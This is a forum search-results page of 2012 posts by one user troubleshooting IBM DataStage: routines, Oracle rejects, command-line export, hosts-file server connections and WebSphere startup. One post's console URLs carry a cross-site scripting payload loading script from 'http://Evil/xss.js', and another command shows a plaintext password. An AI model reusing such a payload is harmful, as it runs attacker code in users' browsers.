Search found 370 matches

by qutesanju
Fri Nov 09, 2012 2:22 pm
Forum: General
Topic: how to use routine?
Replies: 3
Views: 1802

how to use routine?

I have written a routine to get records passed from that stage for auditing purpose,but how can use this routine? I know in master SEQ i can call the routine,but not exactly sure where and how to use this routine? My requirement is to write a routine and get count ,Write counts to a seq/flatfile rou...
by qutesanju
Mon Sep 24, 2012 9:35 am
Forum: IBM<sup>®</sup> DataStage Enterprise Edition (Formerly Parallel Extender/PX)
Topic: problem with oracle stage rejected rows OR peek stage
Replies: 4
Views: 2616

I added $APT_NO_JOBMON to the job and set it to 'True' and job ran succssfully however this will disabl job monitor and will not show rowcount in job monitor.

Any alternative approach?please suggest
by qutesanju
Fri Sep 21, 2012 3:23 pm
Forum: IBM<sup>®</sup> DataStage Enterprise Edition (Formerly Parallel Extender/PX)
Topic: problem with oracle stage rejected rows OR peek stage
Replies: 4
Views: 2616

modifications means source oracle stage -->transformer -->target oracle stage (now i can not see rejected rows) job works fine also i removed peak stage from original job and I redesigned job as (lets call design d2) source oracle stage -->transformer -->target oracle stage --seq file (to see reject...
by qutesanju
Fri Sep 21, 2012 1:02 pm
Forum: IBM<sup>®</sup> DataStage Enterprise Edition (Formerly Parallel Extender/PX)
Topic: problem with oracle stage rejected rows OR peek stage
Replies: 4
Views: 2616

with design source oracle stage -->transformer -->target oracle stage --peek stage (to see rejected rows) it was showing Warning:- "main_program: Received SIGPIPE signal caused by closing of the socket on port 13,400. No output will be sent to port 13,400 for the rest of the job." the job ...
by qutesanju
Wed Jul 18, 2012 3:02 pm
Forum: General
Topic: Datastage import using command line
Replies: 9
Views: 6517

Datastage import using command line

I 'm trying to import datastage project folder by folder. I know below command works perfectly fine for whole project,using command line dscmdexport /H=USTCA153 /D=USTCA153:9080 /U=BillG /P=paddock monthlyaudit C:\migrated_projects\monthlyaudit.dsx but I'm trying to import datastage project folder b...
by qutesanju
Mon Jun 18, 2012 3:44 pm
Forum: General
Topic: Datastage Connectivity to multiple servers
Replies: 14
Views: 10031

How can i edit DataStage Engine Tier (hostname) and Project name? is there any way OR just edit hosts files?
by qutesanju
Wed Jun 13, 2012 12:40 pm
Forum: General
Topic: Datastage Connectivity to multiple servers
Replies: 14
Views: 10031

The way I read your entries is that rhino1 and rhino2 are two different hostnames. You could connect by entering actual IP addresses in place of host name on the login. If you do that then you can be connected to both servers in two clients at once. I tried by entring IP address,and it gives me err...
by qutesanju
Thu Apr 26, 2012 3:54 pm
Forum: General
Topic: Datastage Connectivity to multiple servers
Replies: 14
Views: 10031

What if I want to connect to both servers at the same time?
by qutesanju
Thu Apr 26, 2012 3:46 pm
Forum: General
Topic: Datastage Connectivity to multiple servers
Replies: 14
Views: 10031

Here problem is

two servers has same host name
102.54.94.97 rhino1 # DS server
38.25.63.10 rhino2 # DS server

can i modify host name in just host file ,but in DS metadata if i will change host name ,i may not read data
by qutesanju
Wed Apr 25, 2012 1:33 pm
Forum: General
Topic: Datastage Connectivity to multiple servers
Replies: 14
Views: 10031

Datastage Connectivity to multiple servers

I have one datastage servers having ip1 XXX:XXX:XXX:XXX which has multiple projects such as DEV,QA,REG,PROD etc now my company is replicating same environment on second server having Ip2 Everytime I have to add entry in host file for new server. C:\WINDOWS\system32\drivers\etc\hosts file # For examp...
by qutesanju
Mon Apr 23, 2012 3:59 pm
Forum: General
Topic: DS designer
Replies: 2
Views: 1234

DS designer

my DataStage designer shows GREEN link even if job aborts, where can i change the settings? in order to show RED if jobs aborts
by qutesanju
Mon Apr 23, 2012 3:33 pm
Forum: General
Topic: Error while starting WAS
Replies: 8
Views: 2622

ok,problem is resolved,it was unix file permission incorrectly specified by unix admin
by qutesanju
Thu Apr 19, 2012 11:15 am
Forum: General
Topic: Error while starting WAS
Replies: 8
Views: 2622

I can ping the server and getting an excellent response,no packets are lost. SO i tried to change multiple ports https://[server]:9043/ibm/console/<script/src=http://Evil/xss.js></script> for HTTPS and http://[server]:9060/ibm/console/<script/src=http://Evil/xss.js></script> for HTTP. http://[server...
by qutesanju
Thu Apr 19, 2012 10:31 am
Forum: General
Topic: Error while starting WAS
Replies: 8
Views: 2622

Nope prob is not resolvd yet,I'm still checking with unix admin team...will rebooting the server help in this?
main prob is DS services are not getting up even after rebooting the server
by qutesanju
Wed Apr 18, 2012 3:42 pm
Forum: General
Topic: Error while starting WAS
Replies: 8
Views: 2622

Looks like the server has the same double entries in /etc/inittab USTCAS123 /root # cat /etc/inittab|grep etl dsrc:2:wait:/opt/etl/InformationServer/Server/DSEngine/sample/ds.rc > /dev/console 2>&1 dsrc:2:wait:/opt/etl/InformationServer/Server/DSEngine/sample/ds.rc > /dev/console 2>&1 I was ...